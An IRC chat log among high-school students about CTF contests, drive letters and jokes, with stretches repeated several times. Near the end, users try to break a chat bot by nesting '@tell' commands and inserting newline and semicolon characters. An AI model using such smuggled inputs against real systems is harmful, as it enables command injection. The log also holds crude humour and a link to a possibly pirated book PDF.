[2015-04-17T00:52:54-0400] <LittleBobbyTables> nou
[2015-04-17T00:53:36-0400] <LittleBobbyTables> That's also better than my internet.
[2015-04-17T00:57:55-0400] <LittleBobbyTables> i need to find a fahrenheit 451 pdf
[2015-04-17T00:57:56-0400] <LittleBobbyTables> that has the parts
[2015-04-17T01:03:57-0400] <j> https://d3jc3ahdjad7x7.cloudfront.net/zQHI8oxlODGZZV6i4gCTGcwMwPUeUBv8ospIzIcc4ZmACSYj.pdf
[2015-04-17T01:06:25-0400] <LittleBobbyTables> "with the parts"
[2015-04-17T01:06:43-0400] <LittleBobbyTables> It's also like 50 pages short lol
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[2015-04-17T15:02:54-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-16T23:28:33-0400] <alokpathy> Ayy
[2015-04-16T23:28:39-0400] <alokpathy> I know what I'm wearing to college next year.
[2015-04-17T00:00:15-0400] <LittleBobbyTables> clothes?
[2015-04-17T00:01:14-0400] <alokpathy> Nah
[2015-04-17T00:01:17-0400] <alokpathy> Those are overrated.
[2015-04-17T00:01:51-0400] <jwoglom> i don't think there are many clothing-optional colleges
[2015-04-17T00:02:33-0400] <alokpathy> GT is one of them.
[2015-04-17T00:04:07-0400] <alokpathy> ...what am I saying
[2015-04-17T00:09:57-0400] <LittleBobbyTables> I know where I'm going to school
[2015-04-17T00:13:52-0400] <LittleBobbyTables> Some girl asked to borrow my external harddrive. Does this mean she wants the D:\?
[2015-04-17T00:27:40-0400] <j> -_-
[2015-04-17T00:27:59-0400] <@awe> LittleBobbyTables: No, she wants the F:\.
[2015-04-17T00:28:00-0400] <LittleBobbyTables> ^_^
[2015-04-17T00:28:04-0400] <@awe> LittleBobbyTables: who maps their drive to D?
[2015-04-17T00:28:11-0400] <LittleBobbyTables> Windows does by default
[2015-04-17T00:28:33-0400] <@awe> Everyone should do F or Q.
[2015-04-17T00:30:07-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=6BtI4E0iIzU
[2015-04-17T00:30:08-0400] <j> I have a D:\ drive apparently... http://puu.sh/hgL5t/07ac781b66.png
[2015-04-17T00:30:19-0400] <LittleBobbyTables> fucking rekt
[2015-04-17T00:31:47-0400] <@awe> j: you've got an awfully small D.
[2015-04-17T00:32:10-0400] <alokpathy> rekt
[2015-04-17T00:33:00-0400] <LittleBobbyTables> >0
[2015-04-17T00:33:17-0400] <LittleBobbyTables> That's smaller than me thumb drive.
[2015-04-17T00:35:51-0400] <LittleBobbyTables> yes me. Not my
[2015-04-17T00:36:33-0400] <j> I can't find where the hell this drive is....
[2015-04-17T00:36:51-0400] <kenzierocks> it's probably your empty disk drive
[2015-04-17T00:36:59-0400] <kenzierocks> (if you have a disk drive)
[2015-04-17T00:37:36-0400] <j> I don't
[2015-04-17T00:37:48-0400] <LittleBobbyTables> You obviously do
[2015-04-17T00:37:56-0400] <j> nope
[2015-04-17T00:39:57-0400] <LittleBobbyTables> ugh
[2015-04-17T00:40:01-0400] <LittleBobbyTables> i need to do this homework
[2015-04-17T00:40:26-0400] <j> nerd
[2015-04-17T00:41:28-0400] <JacobEdelman> Ah yis
[2015-04-17T00:41:45-0400] <j> damn you registering this
[2015-04-17T00:41:52-0400] <alokpathy> lolol
[2015-04-17T00:42:15-0400] <JacobEdelman> hsctf sucks
[2015-04-17T00:42:18-0400] <JacobEdelman> i suck
[2015-04-17T00:42:22-0400] <JacobEdelman> i am stupid
[2015-04-17T00:42:59-0400] <j> I'm a skid
[2015-04-17T00:43:11-0400] <j> b-b-but
[2015-04-17T00:45:33-0400] <LittleBobbyTables> rekt
[2015-04-17T00:50:02-0400] <j> wow my basement internet sucks http://puu.sh/hgLY7/ca8d5c7703.png
[2015-04-17T00:52:54-0400] <LittleBobbyTables> nou
[2015-04-17T00:53:36-0400] <LittleBobbyTables> That's also better than my internet.
[2015-04-17T00:57:55-0400] <LittleBobbyTables> i need to find a fahrenheit 451 pdf
[2015-04-17T00:57:56-0400] <LittleBobbyTables> that has the parts
[2015-04-17T01:03:57-0400] <j> https://d3jc3ahdjad7x7.cloudfront.net/zQHI8oxlODGZZV6i4gCTGcwMwPUeUBv8ospIzIcc4ZmACSYj.pdf
[2015-04-17T01:06:25-0400] <LittleBobbyTables> "with the parts"
[2015-04-17T01:06:43-0400] <LittleBobbyTables> It's also like 50 pages short lol
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[2015-04-17T17:05:28-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-16T23:28:33-0400] <alokpathy> Ayy
[2015-04-16T23:28:39-0400] <alokpathy> I know what I'm wearing to college next year.
[2015-04-17T00:00:15-0400] <LittleBobbyTables> clothes?
[2015-04-17T00:01:14-0400] <alokpathy> Nah
[2015-04-17T00:01:17-0400] <alokpathy> Those are overrated.
[2015-04-17T00:01:51-0400] <jwoglom> i don't think there are many clothing-optional colleges
[2015-04-17T00:02:33-0400] <alokpathy> GT is one of them.
[2015-04-17T00:04:07-0400] <alokpathy> ...what am I saying
[2015-04-17T00:09:57-0400] <LittleBobbyTables> I know where I'm going to school
[2015-04-17T00:13:52-0400] <LittleBobbyTables> Some girl asked to borrow my external harddrive. Does this mean she wants the D:\?
[2015-04-17T00:27:40-0400] <j> -_-
[2015-04-17T00:27:59-0400] <@awe> LittleBobbyTables: No, she wants the F:\.
[2015-04-17T00:28:00-0400] <LittleBobbyTables> ^_^
[2015-04-17T00:28:04-0400] <@awe> LittleBobbyTables: who maps their drive to D?
[2015-04-17T00:28:11-0400] <LittleBobbyTables> Windows does by default
[2015-04-17T00:28:33-0400] <@awe> Everyone should do F or Q.
[2015-04-17T00:30:07-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=6BtI4E0iIzU
[2015-04-17T00:30:08-0400] <j> I have a D:\ drive apparently... http://puu.sh/hgL5t/07ac781b66.png
[2015-04-17T00:30:19-0400] <LittleBobbyTables> fucking rekt
[2015-04-17T00:31:47-0400] <@awe> j: you've got an awfully small D.
[2015-04-17T00:32:10-0400] <alokpathy> rekt
[2015-04-17T00:33:00-0400] <LittleBobbyTables> >0
[2015-04-17T00:33:17-0400] <LittleBobbyTables> That's smaller than me thumb drive.
[2015-04-17T00:35:51-0400] <LittleBobbyTables> yes me. Not my
[2015-04-17T00:36:33-0400] <j> I can't find where the hell this drive is....
[2015-04-17T00:36:51-0400] <kenzierocks> it's probably your empty disk drive
[2015-04-17T00:36:59-0400] <kenzierocks> (if you have a disk drive)
[2015-04-17T00:37:36-0400] <j> I don't
[2015-04-17T00:37:48-0400] <LittleBobbyTables> You obviously do
[2015-04-17T00:37:56-0400] <j> nope
[2015-04-17T00:39:57-0400] <LittleBobbyTables> ugh
[2015-04-17T00:40:01-0400] <LittleBobbyTables> i need to do this homework
[2015-04-17T00:40:26-0400] <j> nerd
[2015-04-17T00:41:28-0400] <JacobEdelman> Ah yis
[2015-04-17T00:41:45-0400] <j> damn you registering this
[2015-04-17T00:41:52-0400] <alokpathy> lolol
[2015-04-17T00:42:15-0400] <JacobEdelman> hsctf sucks
[2015-04-17T00:42:18-0400] <JacobEdelman> i suck
[2015-04-17T00:42:22-0400] <JacobEdelman> i am stupid
[2015-04-17T00:42:59-0400] <j> I'm a skid
[2015-04-17T00:43:11-0400] <j> b-b-but
[2015-04-17T00:45:33-0400] <LittleBobbyTables> rekt
[2015-04-17T00:50:02-0400] <j> wow my basement internet sucks http://puu.sh/hgLY7/ca8d5c7703.png
[2015-04-17T00:52:54-0400] <LittleBobbyTables> nou
[2015-04-17T00:53:36-0400] <LittleBobbyTables> That's also better than my internet.
[2015-04-17T00:57:55-0400] <LittleBobbyTables> i need to find a fahrenheit 451 pdf
[2015-04-17T00:57:56-0400] <LittleBobbyTables> that has the parts
[2015-04-17T01:03:57-0400] <j> https://d3jc3ahdjad7x7.cloudfront.net/zQHI8oxlODGZZV6i4gCTGcwMwPUeUBv8ospIzIcc4ZmACSYj.pdf
[2015-04-17T01:06:25-0400] <LittleBobbyTables> "with the parts"
[2015-04-17T01:06:43-0400] <LittleBobbyTables> It's also like 50 pages short lol
[2015-04-17T17:05:30-0400] Mode is +nrt
[2015-04-17T18:07:53-0400] <fwilson> https://i.imgur.com/uh9yzz4.png
[2015-04-17T18:07:55-0400] <fwilson> :D
[2015-04-17T18:08:56-0400] <Tamini> rip you
[2015-04-17T18:08:59-0400] <Tamini> how did you do this even
[2015-04-17T18:10:50-0400] <fwilson> Tamini: this is after about thirty attempts
[2015-04-17T18:10:55-0400] <fwilson> (no death mode btw)
[2015-04-17T18:11:01-0400] <Tamini> ohh ok
[2015-04-17T18:11:12-0400] <Tamini> still mad props to you man
[2015-04-17T18:11:13-0400] <fwilson> ok time to try again
[2015-04-17T18:11:15-0400] <fwilson> :D
[2015-04-17T18:11:31-0400] <fwilson> Tamini: this guy https://www.youtube.com/watch?v=apwA8UQ_xeE
[2015-04-17T18:11:58-0400] <jwoglom> fwilson: ha nice
[2015-04-17T18:12:32-0400] <jwoglom> unfortunately i'm not that pro, lol
[2015-04-17T18:14:27-0400] <fwilson> it's actually fairly easy once you get S rank in lab time trials
[2015-04-17T18:15:22-0400] <fwilson> https://youtu.be/4Tq0wWlPToA?t=110
[2015-04-17T18:15:39-0400] <fwilson> i don't even
[2015-04-17T18:16:18-0400] <fwilson> that whole video is pretty good
[2015-04-17T19:23:04-0400] <j> wow only 3 TJ teams for cctf
[2015-04-17T19:23:14-0400] <fwilson> cctf?
[2015-04-17T19:23:22-0400] <j> i've said too much
[2015-04-17T19:25:59-0400] <Tamini> it coincides with plaid
[2015-04-17T19:26:07-0400] <j> oh good
[2015-04-17T19:29:32-0400] <fwilson> https://www.hackerleague.org/users/fwilson
[2015-04-17T19:29:34-0400] <fwilson> am i doing it right
[2015-04-17T19:30:05-0400] <jwoglom> fwilson: not enough node.js
[2015-04-17T19:30:20-0400] <fwilson> http://www.addictinginfo.org/2014/08/22/this-should-go-well-westboro-baptist-church-says-its-going-to-iraq-to-protest-isis/
[2015-04-17T19:31:13-0400] <fwilson> a long time ago
[2015-04-17T19:31:15-0400] <fwilson> but
[2015-04-17T19:31:18-0400] <jwoglom> ..and they are never seen again
[2015-04-17T19:31:59-0400] <jwoglom> Honestly though, the wbc only survives because of their news coverage
[2015-04-17T19:32:10-0400] <jwoglom> And they're a really small organization
[2015-04-17T19:32:24-0400] <jwoglom> Whenever anyone reports on them its like they're giving them credibility
[2015-04-17T19:32:44-0400] <jwoglom> If the news media stop reporting on them, they will mostly go away
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[2015-04-17T19:33:27-0400] <bob_twinkles> I think it's a family deal though isn't it?
[2015-04-17T19:37:50-0400] <jwoglom> I think they have like 20 members max, mostly from one family
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[2015-04-17T19:52:15-0400] <j> erm no
[2015-04-17T19:52:59-0400] <j> Would have to have a lot more than that to maintain their schedule: http://www.godhatesfags.com/schedule.html?COLLCC=2852465673&
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[2015-04-17T20:52:37-0400] <alokpathy> j: http://play.camsctf.com/scoreboard/?
[2015-04-17T20:52:48-0400] <LittleBobbyTables> alokpathy: what team are you on
[2015-04-17T20:53:00-0400] <LittleBobbyTables> or Tamini, either one
[2015-04-17T20:53:04-0400] <kenzierocks> alokpathy: #plaid abandoner
[2015-04-17T20:53:21-0400] <Tamini> im (sorta) playing plaid
[2015-04-17T20:53:32-0400] <Tamini> except i just realized i have a lot going on so i'm only half around but still
[2015-04-17T20:53:47-0400] <LittleBobbyTables> I'm just going to fuck over one team.
[2015-04-17T20:53:52-0400] <LittleBobbyTables> That's my goal in camsctf
[2015-04-17T20:54:53-0400] <JacobEdelman> k: wait, are you involved with cctf?
[2015-04-17T20:58:56-0400] <alokpathy> kenzierocks: I'm still doing plaid :P
[2015-04-17T20:59:13-0400] <alokpathy> Oh wait I misread what j said
[2015-04-17T20:59:15-0400] <alokpathy> I thought he said 3 teams total
[2015-04-17T20:59:19-0400] <alokpathy> and I wasl ike wat
[2015-04-17T21:00:13-0400] <JacobEdelman> *j:wait, are you involved with cctf?
[2015-04-17T21:00:31-0400] <JacobEdelman> I'm observing hardmath123 doing plaid
[2015-04-17T21:01:57-0400] <LittleBobbyTables> I'm observing girls
[2015-04-17T21:02:26-0400] <kenzierocks> i tried doing that once, but they collapsed
[2015-04-17T21:02:36-0400] <bob_twinkles> ( ͡° ͜ʖ ͡°)
[2015-04-17T21:02:48-0400] <Tamini> wait, hardmath123 is doing plaid?
[2015-04-17T21:02:59-0400] <kenzierocks> bob_twinkles: that was actuall a quantum joke
[2015-04-17T21:03:15-0400] <Tamini> it wasn't a very good quantum joke
[2015-04-17T21:03:20-0400] <kenzierocks> sorry
[2015-04-17T21:03:34-0400] <kenzierocks> i'm paying more attention to a pretty girl named IDA
[2015-04-17T21:03:59-0400] <JacobEdelman> kenzierocks: .... that
[2015-04-17T21:04:02-0400] <JacobEdelman> was a good joke
[2015-04-17T21:04:04-0400] <JacobEdelman> I approve
[2015-04-17T21:04:15-0400] <LittleBobbyTables> You know is must be bad if JacobEdelman likes it.
[2015-04-17T21:04:24-0400] <JacobEdelman> yup!
[2015-04-17T21:04:24-0400] <JacobEdelman> :P
[2015-04-17T21:04:29-0400] <JacobEdelman> you should hear my puns
[2015-04-17T21:04:34-0400] <JacobEdelman> but you can only hear them once
[2015-04-17T21:04:43-0400] <JacobEdelman> cause of the blood running out of your ears afterwards
[2015-04-17T21:04:44-0400] <JacobEdelman> :P
[2015-04-17T21:09:31-0400] <@awe> LittleBobbyTables: that's a good rule of thumb.
[2015-04-17T21:09:49-0400] <kenzierocks> plot twist: JacobEdelman likes awe
[2015-04-17T21:10:00-0400] <@awe> If someone likes me, that's some bad judgement.
[2015-04-17T21:10:04-0400] <JacobEdelman> kenzierocks: thats well known
[2015-04-17T21:10:16-0400] <LittleBobbyTables> I just tolerate people in here.
[2015-04-17T21:10:18-0400] <bob_twinkles> awe: ... don't you have a girlfriend?
[2015-04-17T21:10:23-0400] <@awe> I do.
[2015-04-17T21:10:31-0400] <bob_twinkles> ok
[2015-04-17T21:10:32-0400] <JacobEdelman> awe and I are both friends, and both take the others friendship as a sign of their insanity
[2015-04-17T21:10:56-0400] <JacobEdelman> right?
[2015-04-17T21:11:15-0400] <@awe> Probably.
[2015-04-17T21:11:37-0400] <JacobEdelman> awe: I'm doing an experiment
[2015-04-17T21:11:45-0400] <JacobEdelman> to discover how long I can grow my hair
[2015-04-17T21:12:18-0400] <alokpathy> bob_twinkles: It must be that they're both attracted to each other by their immense hatred for each other.
[2015-04-17T21:12:19-0400] <@awe> Long.
[2015-04-17T21:12:28-0400] <alokpathy> bob_twinkles: It's the only thing that makes sense.
[2015-04-17T21:13:01-0400] <LittleBobbyTables> awe: profound.
[2015-04-17T21:14:13-0400] <bob_twinkles> ic
[2015-04-17T21:14:54-0400] <LittleBobbyTables> alright
[2015-04-17T21:14:58-0400] <LittleBobbyTables> time to go throw away garbage
[2015-04-17T21:17:13-0400] <Tamini> wait
[2015-04-17T21:17:15-0400] <Tamini> but i like awe
[2015-04-17T21:17:19-0400] <Tamini> does that mean something's wrong with me
[2015-04-17T21:17:20-0400] <@awe> Tamini: yes :)
[2015-04-17T21:17:22-0400] <@awe> Tamini: <3
[2015-04-17T21:17:25-0400] <Tamini> :<
[2015-04-17T21:17:29-0400] <Tamini> but I don't want something wrong with me!
[2015-04-17T21:17:36-0400] <JacobEdelman> so, wait,
[2015-04-17T21:17:42-0400] <JacobEdelman> awe, Hyper, LittleBobbyTables 
[2015-04-17T21:17:48-0400] <JacobEdelman> cctf has this thing
[2015-04-17T21:17:52-0400] <JacobEdelman> where you get interact points
[2015-04-17T21:18:05-0400] <JacobEdelman> that can be used to attack teams and decrease their scores
[2015-04-17T21:18:10-0400] <JacobEdelman> so lets all make teams,
[2015-04-17T21:18:11-0400] <JacobEdelman> share flags
[2015-04-17T21:18:12-0400] <LittleBobbyTables> Yeah, that's the only reason I signed up.
[2015-04-17T21:18:18-0400] <JacobEdelman> and kill TJ teams!
[2015-04-17T21:18:18-0400] <Hyper> JacobEdelman: nop
[2015-04-17T21:18:19-0400] <JacobEdelman> :P
[2015-04-17T21:18:23-0400] <Hyper> busy doing plaid
[2015-04-17T21:18:26-0400] <JacobEdelman> oh
[2015-04-17T21:18:29-0400] <JacobEdelman> I'm too lazy
[2015-04-17T21:18:30-0400] <LittleBobbyTables> I'm killing CatsInBags
[2015-04-17T21:18:31-0400] <JacobEdelman> not the team
[2015-04-17T21:18:32-0400] <LittleBobbyTables> At the end
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[2015-04-17T21:51:29-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-17T21:04:24-0400] <JacobEdelman> yup!
[2015-04-17T21:04:24-0400] <JacobEdelman> :P
[2015-04-17T21:04:29-0400] <JacobEdelman> you should hear my puns
[2015-04-17T21:04:34-0400] <JacobEdelman> but you can only hear them once
[2015-04-17T21:04:43-0400] <JacobEdelman> cause of the blood running out of your ears afterwards
[2015-04-17T21:04:44-0400] <JacobEdelman> :P
[2015-04-17T21:09:31-0400] <@awe> LittleBobbyTables: that's a good rule of thumb.
[2015-04-17T21:09:49-0400] <kenzierocks> plot twist: JacobEdelman likes awe
[2015-04-17T21:10:00-0400] <@awe> If someone likes me, that's some bad judgement.
[2015-04-17T21:10:04-0400] <JacobEdelman> kenzierocks: thats well known
[2015-04-17T21:10:16-0400] <LittleBobbyTables> I just tolerate people in here.
[2015-04-17T21:10:18-0400] <bob_twinkles> awe: ... don't you have a girlfriend?
[2015-04-17T21:10:23-0400] <@awe> I do.
[2015-04-17T21:10:31-0400] <bob_twinkles> ok
[2015-04-17T21:10:32-0400] <JacobEdelman> awe and I are both friends, and both take the others friendship as a sign of their insanity
[2015-04-17T21:10:56-0400] <JacobEdelman> right?
[2015-04-17T21:11:15-0400] <@awe> Probably.
[2015-04-17T21:11:37-0400] <JacobEdelman> awe: I'm doing an experiment
[2015-04-17T21:11:45-0400] <JacobEdelman> to discover how long I can grow my hair
[2015-04-17T21:12:18-0400] <alokpathy> bob_twinkles: It must be that they're both attracted to each other by their immense hatred for each other.
[2015-04-17T21:12:19-0400] <@awe> Long.
[2015-04-17T21:12:28-0400] <alokpathy> bob_twinkles: It's the only thing that makes sense.
[2015-04-17T21:13:01-0400] <LittleBobbyTables> awe: profound.
[2015-04-17T21:14:13-0400] <bob_twinkles> ic
[2015-04-17T21:14:54-0400] <LittleBobbyTables> alright
[2015-04-17T21:14:58-0400] <LittleBobbyTables> time to go throw away garbage
[2015-04-17T21:17:13-0400] <Tamini> wait
[2015-04-17T21:17:15-0400] <Tamini> but i like awe
[2015-04-17T21:17:19-0400] <Tamini> does that mean something's wrong with me
[2015-04-17T21:17:20-0400] <@awe> Tamini: yes :)
[2015-04-17T21:17:22-0400] <@awe> Tamini: <3
[2015-04-17T21:17:25-0400] <Tamini> :<
[2015-04-17T21:17:29-0400] <Tamini> but I don't want something wrong with me!
[2015-04-17T21:17:36-0400] <JacobEdelman> so, wait,
[2015-04-17T21:17:42-0400] <JacobEdelman> awe, Hyper, LittleBobbyTables 
[2015-04-17T21:17:48-0400] <JacobEdelman> cctf has this thing
[2015-04-17T21:17:52-0400] <JacobEdelman> where you get interact points
[2015-04-17T21:18:05-0400] <JacobEdelman> that can be used to attack teams and decrease their scores
[2015-04-17T21:18:10-0400] <JacobEdelman> so lets all make teams,
[2015-04-17T21:18:11-0400] <JacobEdelman> share flags
[2015-04-17T21:18:12-0400] <LittleBobbyTables> Yeah, that's the only reason I signed up.
[2015-04-17T21:18:18-0400] <JacobEdelman> and kill TJ teams!
[2015-04-17T21:18:18-0400] <Hyper> JacobEdelman: nop
[2015-04-17T21:18:19-0400] <JacobEdelman> :P
[2015-04-17T21:18:23-0400] <Hyper> busy doing plaid
[2015-04-17T21:18:26-0400] <JacobEdelman> oh
[2015-04-17T21:18:29-0400] <JacobEdelman> I'm too lazy
[2015-04-17T21:18:30-0400] <LittleBobbyTables> I'm killing CatsInBags
[2015-04-17T21:18:31-0400] <JacobEdelman> not the team
[2015-04-17T21:18:32-0400] <LittleBobbyTables> At the end
[2015-04-17T21:51:31-0400] Mode is +nrt
[2015-04-17T21:58:25-0400] Disconnect for Sleep Mode
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[2015-04-18T01:05:59-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-17T21:12:28-0400] <alokpathy> bob_twinkles: It's the only thing that makes sense.
[2015-04-17T21:13:01-0400] <LittleBobbyTables> awe: profound.
[2015-04-17T21:14:13-0400] <bob_twinkles> ic
[2015-04-17T21:14:54-0400] <LittleBobbyTables> alright
[2015-04-17T21:14:58-0400] <LittleBobbyTables> time to go throw away garbage
[2015-04-17T21:17:13-0400] <Tamini> wait
[2015-04-17T21:17:15-0400] <Tamini> but i like awe
[2015-04-17T21:17:19-0400] <Tamini> does that mean something's wrong with me
[2015-04-17T21:17:20-0400] <@awe> Tamini: yes :)
[2015-04-17T21:17:22-0400] <@awe> Tamini: <3
[2015-04-17T21:17:25-0400] <Tamini> :<
[2015-04-17T21:17:29-0400] <Tamini> but I don't want something wrong with me!
[2015-04-17T21:17:36-0400] <JacobEdelman> so, wait,
[2015-04-17T21:17:42-0400] <JacobEdelman> awe, Hyper, LittleBobbyTables 
[2015-04-17T21:17:48-0400] <JacobEdelman> cctf has this thing
[2015-04-17T21:17:52-0400] <JacobEdelman> where you get interact points
[2015-04-17T21:18:05-0400] <JacobEdelman> that can be used to attack teams and decrease their scores
[2015-04-17T21:18:10-0400] <JacobEdelman> so lets all make teams,
[2015-04-17T21:18:11-0400] <JacobEdelman> share flags
[2015-04-17T21:18:12-0400] <LittleBobbyTables> Yeah, that's the only reason I signed up.
[2015-04-17T21:18:18-0400] <JacobEdelman> and kill TJ teams!
[2015-04-17T21:18:18-0400] <Hyper> JacobEdelman: nop
[2015-04-17T21:18:19-0400] <JacobEdelman> :P
[2015-04-17T21:18:23-0400] <Hyper> busy doing plaid
[2015-04-17T21:18:26-0400] <JacobEdelman> oh
[2015-04-17T21:18:29-0400] <JacobEdelman> I'm too lazy
[2015-04-17T21:18:30-0400] <LittleBobbyTables> I'm killing CatsInBags
[2015-04-17T21:18:31-0400] <JacobEdelman> not the team
[2015-04-17T21:18:32-0400] <LittleBobbyTables> At the end
[2015-04-17T22:21:45-0400] <LittleBobbyTables> JacobEdelman: http://stop-irc-bullying.eu/stop/
[2015-04-17T22:39:27-0400] <fwilson> LittleBobbyTables: I feel offended by your recent action(s). Please read http://stop-irc-bullying.eu/stop
[2015-04-17T22:52:42-0400] <nickthename> JacobEdelman: doesn't that encourage flag hording?
[2015-04-17T23:04:39-0400] <j> LittleBobbyTables: fuck you
[2015-04-17T23:05:20-0400] <j> come at me skid
[2015-04-17T23:13:57-0400] <LittleBobbyTables> stay bad
[2015-04-17T23:15:52-0400] <j> apparently interact points are almost useless
[2015-04-17T23:16:30-0400] <LittleBobbyTables> almost.
[2015-04-17T23:16:41-0400] <LittleBobbyTables> You should keep using them on other teams
[2015-04-17T23:17:20-0400] <LittleBobbyTables> You'll eventually knock points off of people
[2015-04-17T23:18:21-0400] <j> heh, we're in 2nd right now with only 2/4 online...
[2015-04-17T23:18:44-0400] <LittleBobbyTables> GL
[2015-04-17T23:19:04-0400] <j> i want dem monies
[2015-04-17T23:19:43-0400] <LittleBobbyTables> Ddo we need to solve problems to get I
[2015-04-17T23:19:44-0400] <LittleBobbyTables> IP
[2015-04-17T23:19:53-0400] <j> Yea
[2015-04-17T23:20:02-0400] <LittleBobbyTables> well... fuck
[2015-04-17T23:20:06-0400] <LittleBobbyTables> There goes my plan
[2015-04-17T23:22:13-0400] <j> heh
[2015-04-17T23:22:29-0400] <LittleBobbyTables> Now I actually need to participate to do what I wanted...
[2015-04-17T23:36:43-0400] <LittleBobbyTables> I'm too lazy to do these
[2015-04-18T01:06:01-0400] Mode is +nrt
[2015-04-18T01:30:57-0400] <LittleBobbyTables> j: how mad would you be if I made 30 teams just to send all the IPs to you and make you lose
[2015-04-18T01:41:44-0400] <j> eh
[2015-04-18T01:41:53-0400] <j> don't see why you would do that
[2015-04-18T01:49:41-0400] <LittleBobbyTables> So you don't get the moneys
[2015-04-18T01:53:53-0400] <j> yes
[2015-04-18T01:54:09-0400] <j> let's stop someone who fairly earned it from winning
[2015-04-18T01:54:10-0400] <j> sure
[2015-04-18T01:54:32-0400] <j> 09:54:11 awebot | That shirt is very becoming on you.  If I were on you, I'd be coming too.
[2015-04-18T01:54:39-0400] <j> what the fuck awebot
[2015-04-18T01:55:51-0400] <kenzierocks> @tell kenzierocks hello, i'm from the past
[2015-04-18T01:55:51-0400] <+awebot> kenzierocks: I'll let them know!
[2015-04-18T01:55:51-0400] <+awebot> kenzierocks: Moments ago, kenzierocks said hello, i'm from the past.
[2015-04-18T01:56:07-0400] <jwoglom> huh, it double triggers?
[2015-04-18T01:56:28-0400] <kenzierocks> @tell jwoglom *triggered*
[2015-04-18T01:56:28-0400] <+awebot> kenzierocks: I'll let them know!
[2015-04-18T01:56:35-0400] <LittleBobbyTables> @tell awebot @tell awebot 
[2015-04-18T01:56:35-0400] <+awebot> LittleBobbyTables: I'm right here!
[2015-04-18T01:56:38-0400] <LittleBobbyTables> damn
[2015-04-18T01:56:39-0400] <jwoglom> @tell jwoglom thanks kenzierocks!
[2015-04-18T01:56:39-0400] <+awebot> jwoglom: I'll let them know!
[2015-04-18T01:56:39-0400] <+awebot> jwoglom: Moments ago, kenzierocks said *triggered*.
[2015-04-18T01:56:39-0400] <+awebot> jwoglom: Moments ago, jwoglom said thanks kenzierocks!
[2015-04-18T01:57:10-0400] <LittleBobbyTables> @tell jwoglom @tell jwoglom lets break awebot
[2015-04-18T01:57:10-0400] <+awebot> LittleBobbyTables: I'll let them know!
[2015-04-18T01:57:16-0400] <LittleBobbyTables> Kappa
[2015-04-18T01:57:22-0400] <j> @tell LittleBobbyTables skid
[2015-04-18T01:57:22-0400] <+awebot> j: I'll let them know!
[2015-04-18T01:57:25-0400] <jwoglom> @tell LittleBobbyTables i don't think that works :(
[2015-04-18T01:57:25-0400] <+awebot> jwoglom: I'll let them know!
[2015-04-18T01:57:25-0400] <+awebot> jwoglom: Moments ago, LittleBobbyTables said @tell jwoglom lets break awebot.
[2015-04-18T01:57:29-0400] <LittleBobbyTables> :(
[2015-04-18T01:57:29-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:57:29-0400] <+awebot> LittleBobbyTables: Moments ago, jwoglom said i don't think that works :(.
[2015-04-18T01:57:35-0400] <kenzierocks> @tell kenzierocks @tell kenzierocks won't work
[2015-04-18T01:57:35-0400] <+awebot> kenzierocks: I'll let them know!
[2015-04-18T01:57:35-0400] <+awebot> kenzierocks: Moments ago, kenzierocks said @tell kenzierocks won't work.
[2015-04-18T01:57:40-0400] <jwoglom> @tell awebot ayy lmao
[2015-04-18T01:57:40-0400] <+awebot> jwoglom: I'm right here!
[2015-04-18T01:58:00-0400] <kenzierocks> @tell awe ping ping ping ping ping ping ping ping ping
[2015-04-18T01:58:00-0400] <+awebot> kenzierocks: I'll let them know!
[2015-04-18T01:58:00-0400] <LittleBobbyTables> @tell j "part of the competition is IP. making you lose is part of the competition"
[2015-04-18T01:58:02-0400] <+awebot> LittleBobbyTables: I'll let them know!
[2015-04-18T01:58:14-0400] <j> @tell j \n@tell j
[2015-04-18T01:58:14-0400] <+awebot> j: I'll let them know!
[2015-04-18T01:58:14-0400] <+awebot> j: Moments ago, LittleBobbyTables said "part of the competition is IP. making you lose is part of the competition".
[2015-04-18T01:58:14-0400] <+awebot> j: Moments ago, j said \n@tell j.
[2015-04-18T01:58:42-0400] <kenzierocks> @tell kenzierocks ; @tell kenzierocks
[2015-04-18T01:58:42-0400] <+awebot> kenzierocks: I'll let them know!
[2015-04-18T01:58:42-0400] <+awebot> kenzierocks: Moments ago, kenzierocks said ; @tell kenzierocks.
[2015-04-18T01:58:44-0400] <kenzierocks> meh
[2015-04-18T01:59:37-0400] <LittleBobbyTables> It's rust
[2015-04-18T01:59:37-0400] <+awebot> LittleBobbyTables: A minute ago, j said skid.
[2015-04-18T01:59:37-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:37-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:37-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:37-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:37-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:37-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:37-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:37-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:37-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:38-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:38-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:40-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:41-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:41-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:42-0400] <+awebot> LittleBobbyTables: Moments ago, j said skid.
[2015-04-18T01:59:45-0400] <LittleBobbyTables> Jesus christ that spam
[2015-04-18T01:59:59-0400] <j> wow LittleBobbyTables stop spamming
[2015-04-18T02:00:23-0400] <LittleBobbyTables> "j said"
[2015-04-18T02:01:13-0400] <LittleBobbyTables> j: did you ever figure anything out about binfoil
[2015-04-18T02:02:17-0400] <j> talking to Spin about it now
[2015-04-18T02:02:21-0400] <j> it's way too vague
